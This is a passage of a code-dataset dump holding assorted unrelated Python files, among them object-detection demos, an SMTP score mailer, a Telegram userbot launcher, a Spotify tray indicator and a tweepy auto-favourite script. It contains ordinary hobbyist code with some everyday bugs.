'--weight', default='./weights/voc0712.pth',\n type=str, help='Weight model path')\nparser.add_argument('-c', '--cam',\n action=\"store_true\", help='Use camera')\nparser.add_argument('-f', '--file_name', default='pic.jpg',\n help='Image path')\nparser.add_argument('--num_class', default=21, type=int,\n help='Number of class used in model')\nargs = parser.parse_args()\n\n\ndef to_numpy(tensor):\n return tensor.detach().cpu().numpy() if tensor.requires_grad else tensor.cpu().numpy()\nclass Detect(object):\n \"\"\"\n dir_name: Folder or image_file\n \"\"\"\n\n def __init__(self, weights, num_class=21, network='efficientdet-d0', size_image=(512, 512),use_tensorrt=False):\n super(Detect, self).__init__()\n self.weights = weights\n self.size_image = size_image\n self.device = torch.device(\n \"cuda:0\" if torch.cuda.is_available() else 'cpu')\n self.transform = get_augumentation(phase='test')\n if(self.weights is not None):\n print('Load pretrained Model')\n checkpoint = torch.load(\n self.weights, map_location=lambda storage, loc: storage)\n params = checkpoint['parser']\n num_class = params.num_class\n network = params.network\n\n self.model = EfficientDet(num_classes=num_class,\n network=network,\n W_bifpn=EFFICIENTDET[network]['W_bifpn'],\n D_bifpn=EFFICIENTDET[network]['D_bifpn'],\n D_class=EFFICIENTDET[network]['D_class'],\n is_training=False\n )\n\n if(self.weights is not None):\n state_dict = checkpoint['state_dict']\n self.model.load_state_dict(state_dict)\n if torch.cuda.is_available():\n self.model = self.model.cuda()\n self.model.eval()\n self._tensror_rt= use_tensorrt\n\n if use_tensorrt :\n x = torch.randn(1,3, 512, 512, requires_grad=True)\n self.model.backbone.set_swish(memory_efficient=False)\n if torch.cuda.is_available():\n x=x.cuda()\n self.model= torch2trt(self.model,[x])\n # # Export the model\n # batch_size=1\n # x = torch.randn(batch_size, 3, 512, 512, requires_grad=True)\n # # x = self.transform(to_x)\n # torch.onnx.export(self.model, # model being run\n # x, # model input (or a tuple for multiple inputs)\n # \"super_resolution.onnx\", # where to save the model (can be a file or file-like object)\n # export_params=True, # store the trained parameter weights inside the model file\n # opset_version=10, # the ONNX version to export the model to\n # do_constant_folding=True, # whether to execute constant folding for optimization\n # input_names = ['input'], # the model's input names\n # output_names = ['output'], # the model's output names\n # dynamic_axes={'input' : {0 : 'batch_size'}, # variable lenght axes\n # 'output' : {0 : 'batch_size'}})\n # onnx_model = onnx.load(\"super_resolution.onnx\")\n # onnx.checker.check_model(onnx_model)\n\n # self._ort_session = onnxruntime.InferenceSession(\"super_resolution.onnx\")\n\n\n def _onnx_mdl(self,x):\n # compute ONNX Runtime output prediction\n print(self._ort_session.get_inputs())\n ort_inputs = {self._ort_session.get_inputs()[0].name: to_numpy(x)}\n return self._ort_session.run(None, ort_inputs)\n\n\n def process(self, file_name=None, img=None, show=False):\n if file_name is not None:\n img = cv2.imread(file_name)\n origin_img = copy.deepcopy(img)\n augmentation = self.transform(image=img)\n img = augmentation['image']\n img = img.to(self.device)\n img = img.unsqueeze(0)\n print(img.shape)\n with torch.no_grad():\n # ftime= []\n # for _ in range(100):\n # st= time.time()\n scores, classification, transformed_anchors = self.model(img)\n # scores, classification, transformed_anchors = self.model(img)\n # time_pass= time.time()-st\n # ftime.append(time_pass)\n # print(\"forward time pytorch {} device {}\".format(np.mean(ftime),self.device))\n # a=self._onnx_mdl(img)\n bboxes = list()\n labels = list()\n bbox_scores = list()\n colors = list()\n for j in range(scores.shape[0]):\n bbox = transformed_anchors[[j], :][0].data.cpu().numpy()\n x1 = int(bbox[0]*origin_img.shape[1]/self.size_image[1])\n y1 = int(bbox[1]*origin_img.shape[0]/self.size_image[0])\n x2 = int(bbox[2]*origin_img.shape[1]/self.size_image[1])\n y2 = int(bbox[3]*origin_img.shape[0]/self.size_image[0])\n bboxes.append([x1, y1, x2, y2])\n label_name = VOC_CLASSES[int(classification[[j]])]\n labels.append(label_name)\n\n if(args.cam):\n cv2.rectangle(origin_img, (x1, y1),\n (x2, y2), (179, 255, 179), 2, 1)\n if args.score:\n score = np.around(\n scores[[j]].cpu().numpy(), decimals=2) * 100\n if(args.cam):\n labelSize, baseLine = cv2.getTextSize('{} {}'.format(\n label_name, int(score)), cv2.FONT_HERSHEY_SIMPLEX, 0.8, 2)\n cv2.rectangle(\n origin_img, (x1, y1-labelSize[1]), (x1+labelSize[0], y1+baseLine), (223, 128, 255), cv2.FILLED)\n cv2.putText(\n origin_img, '{} {}'.format(label_name, int(score)),\n (x1, y1), cv2.FONT_HERSHEY_SIMPLEX,\n 0.8, (0, 0, 0), 2\n )\n bbox_scores.append(int(score))\n else:\n if(args.cam):\n labelSize, baseLine = cv2.getTextSize('{}'.format(\n label_name), cv2.FONT_HERSHEY_SIMPLEX, 0.8, 2)\n cv2.rectangle(\n origin_img, (x1, y1-labelSize[1]), (x1+labelSize[0], y1+baseLine), (0, 102, 255), cv2.FILLED)\n cv2.putText(\n origin_img, '{} {}'.format(label_name, int(score)),\n (x1, y1), cv2.FONT_HERSHEY_SIMPLEX,\n 0.8, (0, 0, 0), 2\n )\n if show:\n fig, ax = vis_bbox(img=origin_img, bbox=bboxes,\n label=labels, score=bbox_scores)\n fig.savefig('./docs/demo.png')\n plt.show()\n else:\n return origin_img\n\n def camera(self):\n cap = cv2.VideoCapture(0)\n if not cap.isOpened():\n print(\"Unable to open camera\")\n exit(-1)\n count_tfps = 1\n accum_time = 0\n curr_fps = 0\n fps = \"FPS: ??\"\n prev_time = timer()\n while True:\n res, img = cap.read()\n curr_time = timer()\n exec_time = curr_time - prev_time\n prev_time = curr_time\n accum_time = accum_time + exec_time\n curr_fps = curr_fps + 1\n\n if accum_time > 1:\n accum_time = accum_time - 1\n fps = curr_fps\n curr_fps = 0\n if res:\n show_image = self.process(img=img)\n cv2.putText(\n show_image, \"FPS: \" + str(fps), (10, 20),\n cv2.FONT_HERSHEY_SIMPLEX, 0.9, (204, 51, 51), 2\n )\n\n cv2.imshow(\"Detection\", show_image)\n k = cv2.waitKey(1)\n if k == 27:\n break\n else:\n print(\"Unable to read image\")\n exit(-1)\n count_tfps += 1\n cap.release()\n cv2.destroyAllWindows()\n\n\nif __name__ == '__main__':\n detect = Detect(weights=args.weight)\n print('cam: ', args.cam)\n if args.cam:\n detect.camera()\n else:\n detect.process(file_name=args.file_name, show=True)\n","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":9634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"646379268","text":"class Solution:\n def max_area(self, arr, n):\n i5 = arr.index(5)\n i3 = arr.index(3)\n res = abs(i5-i3) * 3\n return res\nn = 5\narr = [3,1,2,4,5]\nobj = Solution()\nprint(obj.max_area(arr,n))","sub_path":"GeeksForGeeks/potd/container_with_most_water.py","file_name":"container_with_most_water.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"231119059","text":"import pandas as pd\nimport smtplib\nfrom email import encoders\nfrom email.mime.base import MIMEBase\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\n\nimport os.path\ndf = pd.read_csv('score.csv')\n\n\ndef initialization():\n # create excel file for each individual\n for i in range(len(df['name'])):\n naming = df.iloc[i]['name'] + '.xlsx'\n df_yourScore = df[df['name'] == df.iloc[i]['name']]\n df_yourScore.to_excel(naming)\n\ndef sendToAll(hasAttachment):\n # set name list\n\n sendEmail(df, hasAttachment)\n\ndef sendToIncomplete(hasAttachment):\n column = input(\"Please type the task name: \")\n df_send = df[df[column] == 0]\n sendToCompelte(df_send, hasAttachment)\n\ndef sendToCompelte():\n column = input(\"Please type the task name: \")\n df_send = df[df[column] != 0]\n sendEmail(df_send, hasAttachment)\n\ndef sendEmail(df_send, hasAttachment):\n subject = input(\"Please type the subject: \")\n mainMessage = input('Please type the mainMessage here')\n for i in range(len(df_send['name'])):\n print(\"sending file to \" + df_send.iloc[i]['name'])\n naming = df_send.iloc[i]['name'] + '.xlsx'\n email = 'contact@7debate.club'\n password = '******' # change the passoword here\n send_to_email = df_send.iloc[i]['name'] + '@7debate.club'\n message = 'Dear ' + df_send.iloc[i]['name'] + ',' + '\\n\\n'\n message += ' ' + mainMessage + '\\n\\n'\n message += ' If you have any problem, dont hesitate contact us. \\n\\n Best, \\n 7 DebateTeam'\n\n\n msg = MIMEMultipart()\n msg['From'] = email\n msg['To'] = send_to_email\n msg['Subject'] = subject\n\n msg.attach(MIMEText(message, 'plain'))\n\n if hasAttachment:\n # Setup the attachment\n file_location = \"D:\\\\2019Fall\\##lub 2019\\\\autoGrader\\\\\" + naming\n filename = os.path.basename(file_location)\n attachment = open(file_location, \"rb\")\n part = MIMEBase('application', 'octet-stream')\n part.set_payload(attachment.read())\n encoders.encode_base64(part)\n part.add_header('Content-Disposition', \"attachment; filename= %s\" % filename)\n msg.attach(part)\n\n\n\n server = smtplib.SMTP(\"smtp.exmail.qq.com\", 25)\n server.starttls()\n server.login(email, password)\n text = msg.as_string()\n server.sendmail(email, send_to_email, text)\n server.quit()\n\n\n\n\ninitialization()\n\nhasAttachment = True if (input(\"does the mail contain attachment? [Y] for yes, [N] for no\") == \"Y\") else False\n\ntask = int(input(\"please choose (1) send to all (2) send to incomplete (3) send to compelte\"))\nif task == 1:\n sendToAll(hasAttachment)\nelif task == 2:\n sendToIncomplete(hasAttachment)\nelif task == 3:\n sendToCompelte(hasAttachment)\nelse:\n print('Bad parameter')","sub_path":"ScoreDelivery.py","file_name":"ScoreDelivery.py","file_ext":"py","file_size_in_byte":2875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"586680561","text":"\"\"\"\nThis file was modified from the coding exercise of Udacity DRLND Lesson 2\n\"\"\"\n\nimport random\nimport numpy as np\n\nfrom collections import deque, namedtuple\n\n## Buffer\n\nclass Buffer:\n def __init__(self, buffer_size = int(1e5), batch_size = 64, seed = 0):\n self.cache = deque(maxlen = buffer_size)\n self.batch_size = batch_size\n self.replay = namedtuple(\"Replay\", field_names = [\"state\", \"action\", \"reward\", \"next_state\", \"done\"])\n self.seed = random.seed(seed)\n \n def add(self, state, action, reward, next_state, done):\n # add a tuple (s, a, r, s', /end)\n replay = self.replay(state, action, reward, next_state, done)\n self.cache.append(replay)\n \n def sample(self):\n \"\"\"\n outputs:\n states: ndarray of shape (BATCH_SIZE, 37)\n actions: ndarray of shape (BATCH_SIZE, 4)\n rewards: ndarray of shape (BATCH_SIZE, 1)\n next_states: ndarray of shape (BATCH_SIZE, 37)\n dones: ndarray of shape (BATCH_SIZE, 1)\n \"\"\"\n # sample replays of size = batch_size from the buffer\n # output (batch_size x 1) tensors\n replays = random.sample(self.cache, k = self.batch_size)\n\n states = np.vstack([x.state for x in replays if x is not None])\n actions = np.vstack([x.action for x in replays if x is not None])\n rewards = np.vstack([x.reward for x in replays if x is not None])\n next_states = np.vstack([x.next_state for x in replays if x is not None])\n dones = np.vstack([x.done for x in replays if x is not None])\n \n return (states, actions, rewards, next_states, dones)\n\n def __len__(self):\n return len(self.cache)","sub_path":"buffer.py","file_name":"buffer.py","file_ext":"py","file_size_in_byte":1733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"550538227","text":"from ionix import bot\nfrom sys import argv\nfrom telethon import TelegramClient\nfrom var import Var\nfrom ionix.utils import load_module\nfrom pathlib import Path\nimport telethon.utils\n\nasync def add_bot(bot_token):\n await bot.start(bot_token)\n bot.me = await bot.get_me() \n bot.uid = telethon.utils.get_peer_id(bot.me)\n\n\n\nif len(argv) not in (1, 3, 4):\n bot.disconnect()\nelse:\n bot.tgbot = None\n if Var.TG_BOT_USER_NAME_BF_HER is not None:\n print(\"Initiating Inline Bot\")\n # ForTheGreatrerGood of beautification\n bot.tgbot = TelegramClient(\n \"TG_BOT_TOKEN\",\n api_id=Var.APP_ID,\n api_hash=Var.API_HASH\n ).start(bot_token=Var.TG_BOT_TOKEN_BF_HER)\n print(\"Initialisation finished with no errors\")\n print(\"Starting Userbot\")\n bot.loop.run_until_complete(add_bot(Var.TG_BOT_USER_NAME_BF_HER))\n print(\"Startup Completed\")\n else:\n bot.start()\n \n\nimport glob\npath = 'ionix/plugins/*.py'\nfiles = glob.glob(path)\nfor name in files:\n with open(name) as f:\n path1 = Path(f.name)\n shortname = path1.stem\n load_module(shortname.replace(\".py\", \"\"))\n\nimport ionix._core\n\nprint(\"Yayy! Ionix is officially working now gib party . Enjoy! Bot by @Paranormal_s and team .Do join @ionix_ot\")\n\nif len(argv) not in (1, 3, 4):\n bot.disconnect()\nelse:\n bot.run_until_disconnected()\n\n\n","sub_path":"ionix/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"374709456","text":"#model.py\nimport csv\n\nBB_FILE_NAME = 'umbball.csv'\n\nbb_seasons = []\n\ndef init_bball(csv_file_name=BB_FILE_NAME):\n global bb_seasons\n with open(csv_file_name) as f:\n reader=csv.reader(f)\n next(reader) # throw away headers\n next(reader) # throw away headers\n global bb_seasons\n bb_seasons=[] # reset, start clean\n for r in reader:\n r[3]=int(r[3])\n r[4]=int(r[4])\n r[5]=float(r[5])\n bb_seasons.append(r)\n\n\ndef get_bball_seasons(sortby='year', sortorder='desc'):\n if sortby == 'year':\n sortcol=1\n elif sortby == 'wins':\n sortcol=3\n elif sortby == 'pct':\n sortcol=5\n else:\n sortcol = 0\n rev = (sortorder == 'desc')\n sorted_list = sorted(bb_seasons, key=lambda row: row[sortcol], reverse=rev)\n return sorted_list\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"107965940","text":"\"\"\"\r\n\n\nCreate a function that takes a number that represents a person's programming\nlanguage score, and returns an alphabetised list of programming languages they\nare proficient in. Arbitrarily assigned points for each language are listed\nbelow:\n\nLanguage| Points \n---|--- \nC#| 1 \nC++| 2 \nJava| 4 \nJavaScript| 8 \nPHP| 16 \nPython| 32 \nRuby| 64 \nSwift| 128 \n \n### Examples\n\n get_languages(25) ➞ [\"C#\", \"JavaScript\", \"PHP\"]\n \n get_languages(100) ➞ [\"Java\", \"Python\", \"Ruby\"]\n \n get_languages(53) ➞ [\"C#\", \"Java\", \"PHP\", \"Python\"]\n\n### Notes\n\nEasier using bitwise operations.\n\n\"\"\"\r\n\ndef get_languages(num):\n di = {1: \"C#\" ,2: \"C++\", 4: \"Java\",8: \"JavaScript\", 16: \"PHP\",32: \"Python\",64: \"Ruby\",128: \"Swift\",}\n result = []\n for i in [128,64,32,16,8,4,2,1]:\n if num % i != num:\n result.append(di[i])\n num = num % i\n return sorted(result)\n\n","sub_path":"94DMDTYe89i6TLCZh_21.py","file_name":"94DMDTYe89i6TLCZh_21.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"241351442","text":"import os\r\nimport math\r\nimport functools\r\nimport json\r\nimport copy\r\n\r\n\r\ndef load_annotation_data(data_file_path):\r\n with open(data_file_path, 'r') as data_file:\r\n return json.load(data_file)\r\n\r\n\r\ndef get_class_to_idxs(class_json_file_path):\r\n \"\"\"\r\n args:\r\n class_json_file_path : [path of class.json, ...]\r\n return:\r\n class_classs_map : {life_name : [class(str):idx(int)]}\r\n \"\"\"\r\n if not isinstance(class_json_file_path, list):\r\n class_json_file_path = [class_json_file_path]\r\n class_to_idx_set = {}\r\n for classs_path in class_json_file_path:\r\n _, tempfilename = os.path.split(classs_path)\r\n class_name, _ = os.path.splitext(tempfilename)\r\n data = load_annotation_data(classs_path)\r\n # class_labels_map = {}\r\n # index = 0\r\n # for class_label in data[class_name]:\r\n # class_labels_map[class_label] = index\r\n # index += 1\r\n class_labels_map = dict(list(zip(data[class_name], list(range(len(data[class_name]))))))\r\n class_to_idx_set[class_name] = class_labels_map\r\n return class_to_idx_set\r\n\r\n\r\ndef get_idx_to_classes(class_to_idxs):\r\n \"\"\"\r\n args:\r\n label_to_idxs : map->[label(str):idx(int)],from function:\r\n get_label_to_idx(label_file_path)\r\n return:\r\n idx_to_label : {life_name : [idx(int):label(str)]}\r\n \"\"\"\r\n idx_to_classes = {}\r\n for key, value in class_to_idxs.items():\r\n idx_to_class = {}\r\n for label, idx in value.items():\r\n idx_to_class[idx] = label\r\n idx_to_classes[key] = idx_to_class\r\n return idx_to_classes\r\n\r\n\r\ndef get_dataset(dataset_json_file_path, subset=\"training\"):\r\n data = load_annotation_data(dataset_json_file_path)\r\n video_list = []\r\n for file_name, value in data.items():\r\n v_d = {}\r\n video_subset = value['subset']\r\n if video_subset == subset:\r\n # for k, v in value.items():\r\n # v_d[k] = v\r\n # video_list.append(v_d)\r\n v_d['index'] = value['video_index']\r\n v_d['video'] = value['video_path']\r\n v_d['video_image'] = value['video_image_path']\r\n v_d['subset'] = video_subset\r\n v_d['width'] = value['width']\r\n v_d['height'] = value['height']\r\n v_d['frame'] = value['frame_n']\r\n v_d['annotation'] = value['annotation']\r\n else:\r\n continue\r\n video_list.append(v_d)\r\n return video_list\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # data = get_dataset(\r\n # \"D:\\RansEx\\CodeManager\\python\\pyvisual\\studying\\pytorch\\pytorch-FtCNN\\data\\HMDB51\\json\\dataset.json\",\r\n # \"training\")\r\n data = get_class_to_idxs(\r\n ['D:\\RansEx\\CodeManager\\python\\pyvisual\\studying\\pytorch\\pytorch-FtCNN\\data\\HMDB51\\json\\label.json'])\r\n print(data)\r\n","sub_path":"datasets/dataTools/parser_json.py","file_name":"parser_json.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"461540726","text":"import cv2\nimport time\nimport numpy as np\nimport core.utils as utils\nimport tensorflow as tf\nfrom core.yolov3 import YOLOv3, decode\n\n\nclass Tracker():\n def __init__(self):\n self._num_classes = 2\n self._input_size = 416\n\n def __enter__(self):\n self._vid = cv2.VideoCapture(\"\")\n self._input_layer = tf.keras.layers.Input([self._input_size, self._input_size, 3])\n self._feature_maps = YOLOv3(self._input_layer)\n return self\n\n def __exit__(self, exc_type, exc_value, exc_traceback):\n if exc_type:\n print(exc_type, exc_value, exc_traceback)\n\n def run(self):\n bbox_tensors = []\n for i, fm in enumerate(self._feature_maps):\n bbox_tensor = decode(fm, i)\n bbox_tensors.append(bbox_tensor)\n\n model = tf.keras.Model(self._input_layer, bbox_tensors)\n utils.load_weights(model, \"./checkpoint/yolov3.ckpt\")\n model.summary()\n \n while True:\n return_value, frame = self._vid.read()\n if return_value:\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n else:\n raise ValueError(\"No image!\")\n frame_size = frame.shape[:2]\n image_data = utils.image_preporcess(np.copy(frame), [self._input_size, self._input_size])\n image_data = image_data[np.newaxis, ...].astype(np.float32)\n\n prev_time = time.time()\n pred_bbox = model.predict(image_data)\n curr_time = time.time()\n exec_time = curr_time - prev_time\n\n pred_bbox = [tf.reshape(x, (-1, tf.shape(x)[-1])) for x in pred_bbox]\n pred_bbox = tf.concat(pred_bbox, axis=0)\n bboxes = utils.postprocess_boxes(pred_bbox, frame_size, self._input_size, 0.3)\n bboxes = utils.nms(bboxes, 0.45, method='nms')\n image = utils.draw_bbox(frame, bboxes)\n\n result = np.asarray(image)\n info = \"time: %.2f ms\" %(1000*exec_time)\n cv2.putText(result, text=info, org=(50, 70), fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n fontScale=1, color=(255, 0, 0), thickness=2)\n cv2.namedWindow(\"result\", cv2.WINDOW_AUTOSIZE)\n result = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n cv2.imshow(\"result\", result)\n if cv2.waitKey(1) & 0xFF == ord('q'): break\n\nif __name__ == '__main__':\n with Tracker() as trk:\n trk.run()","sub_path":"code/ppe/module/app/tracker.py","file_name":"tracker.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"151472098","text":"import time\r\nimport unittest\r\nimport inspect\r\nfrom xmldiff import main, formatting\r\n\r\nfrom diffx import get_path\r\n\r\nimport lxml.etree\r\n\r\nXSLT = '''\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n'''\r\n\r\n\r\nXSLT_TEMPLATE = lxml.etree.fromstring(XSLT)\r\n\r\n\r\nclass HTMLFormatter(formatting.XMLFormatter):\r\n def render(self, result):\r\n transform = lxml.etree.XSLT(XSLT_TEMPLATE)\r\n result = transform(result)\r\n return super(HTMLFormatter, self).render(result)\r\n\r\n\r\nclass UnSorted(unittest.TestCase):\r\n\r\n first_path = \"{}\\\\..\\\\..\\\\tests\\\\test9\\\\a.xml\".format(\r\n get_path())\r\n second_path = \"{}\\\\..\\\\..\\\\tests\\\\test9\\\\b.xml\".format(\r\n get_path())\r\n path = \"{}\\\\..\\\\..\\\\tests\".format(get_path())\r\n\r\n def testStdOutput(self):\r\n\r\n _t = time.time()\r\n\r\n result = main.diff_files(self.first_path, self.second_path)\r\n\r\n for x in result:\r\n print(x)\r\n\r\n def testHtmlOutput(self):\r\n\r\n _t = time.time()\r\n\r\n formatter = HTMLFormatter(\r\n text_tags=('p', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'li'),\r\n formatting_tags=('b', 'u', 'i', 'strike', 'em', 'super',\r\n 'sup', 'sub', 'link', 'a', 'span'))\r\n\r\n result = main.diff_files(self.first_path, self.second_path, formatter=formatter)\r\n\r\n print(time.time() - _t)\r\n\r\n with open('{}\\\\output.html'.format(self.path), \"w\") as f:\r\n f.write(result)\r\n","sub_path":"tests/test_compare.py","file_name":"test_compare.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"303404616","text":"#!/usr/bin/env python3\nimport os\nimport re\nimport signal\nimport subprocess\n\nimport gi\n\ngi.require_version('AppIndicator3', '0.1')\nfrom gi.repository import AppIndicator3\n\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk\nfrom gi.repository import Gdk\nfrom gi.repository import GLib\n\ngi.require_version('GdkPixbuf', '2.0')\nfrom gi.repository.GdkPixbuf import Pixbuf\n\nfrom pathlib import Path\n\nHOME_DIR = str(Path.home()) + '/.local/share/spotify-indicator'\nAPPINDICATOR_ID = \"spotify-indicator\"\nVERSION = '1.0.0'\nCOPYRIGHT = 'Copyright ' + '\\u00a9' + '2020 Pavel Makhov'\nLICENSE = \"\"\"\nLicensed under the MIT license:\n\n http://www.opensource.org/licenses/mit-license.php\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\"\"\"\n\n\nclass SpotifyIndicator:\n def __init__(self):\n self.current_dict = {}\n self.spotify_indicator = AppIndicator3.Indicator.new(\n \"spotify-indicator\",\n os.path.abspath(HOME_DIR + \"/Spotify_Icon_RGB_Green.png\"),\n AppIndicator3.IndicatorCategory.SYSTEM_SERVICES)\n\n self.spotify_indicator.set_status(AppIndicator3.IndicatorStatus.ACTIVE)\n self.spotify_indicator.connect('scroll-event', self.scroll)\n self.spotify_indicator.set_menu(self.menu_build())\n\n GLib.timeout_add(1000, self.refresh_label)\n\n def refresh_label(self):\n result = subprocess.run(['sp', 'metadata'], stdout=subprocess.PIPE)\n current = result.stdout.decode('utf-8')\n parts = re.split(\"\\n\", current)\n parts.remove('')\n for line in parts:\n key_value = re.split(\"\\|\", line)\n if len(key_value) > 1:\n self.current_dict[key_value[0]] = key_value[1]\n if 'artist' in self.current_dict and 'title' in self.current_dict:\n self.spotify_indicator.set_label(self.ellipsize(self.current_dict['artist']) + \" | \" +\n self.ellipsize(self.current_dict['title']), '')\n\n status_output = subprocess.run(['sp', 'status'], stdout=subprocess.PIPE)\n status = status_output.stdout.decode('utf-8').strip()\n if status == 'Playing':\n self.spotify_indicator.set_icon_full(\n os.path.abspath(HOME_DIR + \"/Spotify_Icon_RGB_Green.png\"), '')\n elif status == 'Paused':\n self.spotify_indicator.set_icon_full(\n os.path.abspath(HOME_DIR + \"/Spotify_Icon_RGB_White.png\"), '')\n\n return True\n\n def ellipsize(self, str):\n return (str[:20] + '..') if len(str) > 20 else str\n\n def scroll(self, ind, steps, direction):\n if direction == Gdk.ScrollDirection.UP:\n subprocess.run([\"sp\", \"prev\"])\n elif direction == Gdk.ScrollDirection.DOWN:\n subprocess.run([\"sp\", \"next\"])\n\n def toggle_playback(self, widget):\n subprocess.run(['sp', 'play'])\n\n def menu_build(self):\n menu = Gtk.Menu()\n\n item_pokemon = Gtk.MenuItem(label=\"Play / Pause\")\n item_pokemon.connect('activate', self.toggle_playback)\n menu.append(item_pokemon)\n\n separator = Gtk.SeparatorMenuItem.new()\n separator.show()\n menu.append(separator)\n\n about_item = Gtk.MenuItem(label='About');\n about_item.connect(\"activate\", self.openAbout)\n menu.append(about_item)\n\n item_quit = Gtk.MenuItem(label=\"Quit\")\n item_quit.connect('activate', self.quit)\n menu.append(item_quit)\n\n menu.show_all()\n\n return menu\n\n def openAbout(self, widget):\n aboutWindow = Gtk.AboutDialog()\n aboutWindow.set_logo(APPLOGO)\n aboutWindow.set_icon(APPLOGO)\n aboutWindow.set_program_name('Spotify indicator')\n aboutWindow.set_version('Version ' + VERSION)\n aboutWindow.set_copyright(COPYRIGHT)\n aboutWindow.set_license(LICENSE)\n aboutWindow.set_authors(['Pavel Makhov '])\n aboutWindow.set_resizable(False)\n aboutWindow.run()\n aboutWindow.destroy()\n\n def quit(self):\n Gtk.main_quit()\n\n\nif __name__ == \"__main__\":\n APPLOGO = Pixbuf.new_from_file_at_size(HOME_DIR + \"/Spotify_Icon_RGB_Green.png\", 100, 100)\n\n signal.signal(signal.SIGINT, signal.SIG_DFL)\n\n SpotifyIndicator()\n\n Gtk.main()\n","sub_path":"spotify-indicator/spotify-indicator.py","file_name":"spotify-indicator.py","file_ext":"py","file_size_in_byte":5231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"632564011","text":"'''\nCreated on 02-Jun-2019\n\n@author: ramya.n\n'''\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom time import sleep\n\n\ndriver = webdriver.Chrome()\ndriver.maximize_window()\ndriver.implicitly_wait(10)\ndriver.get(\"https://www.seleniumhq.org/\")\n\ndownload_link = driver.find_element_by_xpath(\"//a[.='Download']\")\nfor i in range(1,5):\n download_link.send_keys(Keys.CONTROL, Keys.ENTER)\n sleep(2)\n \nall_handles = driver.window_handles\nfor handle in all_handles:\n driver.switch_to.window(handle)\n driver.close()\n sleep(2)\n ","sub_path":"Selenium/Selenium/Popups/LaunchMultipleBrowsersAndCloseOneByOne.py","file_name":"LaunchMultipleBrowsersAndCloseOneByOne.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"296410834","text":"#!/usr/bin/env python3\n# encoding: utf-8\n#\n# Copyright (c) 2010 Doug Hellmann. All rights reserved.\n#\n\"\"\"Repetition of patterns\n\"\"\"\n\n# end_pymotw_header\nimport re\n\ntext = 'abbaaabbbbaaaaa'\n\npattern = 'ab'\nmatches = re.findall(pattern, text)\nprint(type(matches), matches)\nfor match in re.findall(pattern, text):\n #print('Found {!r}'.format(match))\n print('Found {}'.format(match))\n","sub_path":"AxePy3Lib/01/re/re_findall.py","file_name":"re_findall.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"494548182","text":"#coding:utf-8\nimport config\nimport tweepy\nimport time\n# Accesss Token Secert\n\nCK = config.CONSUMER_KEY\nCS = config.CONSUMER_SECRET\nAT = config.ACCESS_TOKEN\nATS = config.ACCESS_TOKEN_SECRET\n\nauth = tweepy.OAuthHandler(CK, CS)\nauth.set_access_token(AT, ATS)\napi = tweepy.API(auth)\n\nset_count = 100\nword = \"ここに検索するワードを書くよ\"\nresults = api.search(q=word, count=set_count)\n\nfor result in results:\n username = result.user.name\n user_id = result.user.id\n tweet = result.text\n tweet_id = result.id\n print(\"ユーザー名:\"+username)\n print(\"ユーザーID:\"+str(user_id))\n print(\"-----------------------------\")\n\n try:\n api.create_favorite(user_id) #ふぁぼする\n print(tweet)\n print(\"-----------------------------\")\n print(\"をふぁぼしました(*‘ω‘ *)\\n\\n\")\n print(\"-----------------------------\")\n time.sleep(2)\n except:\n 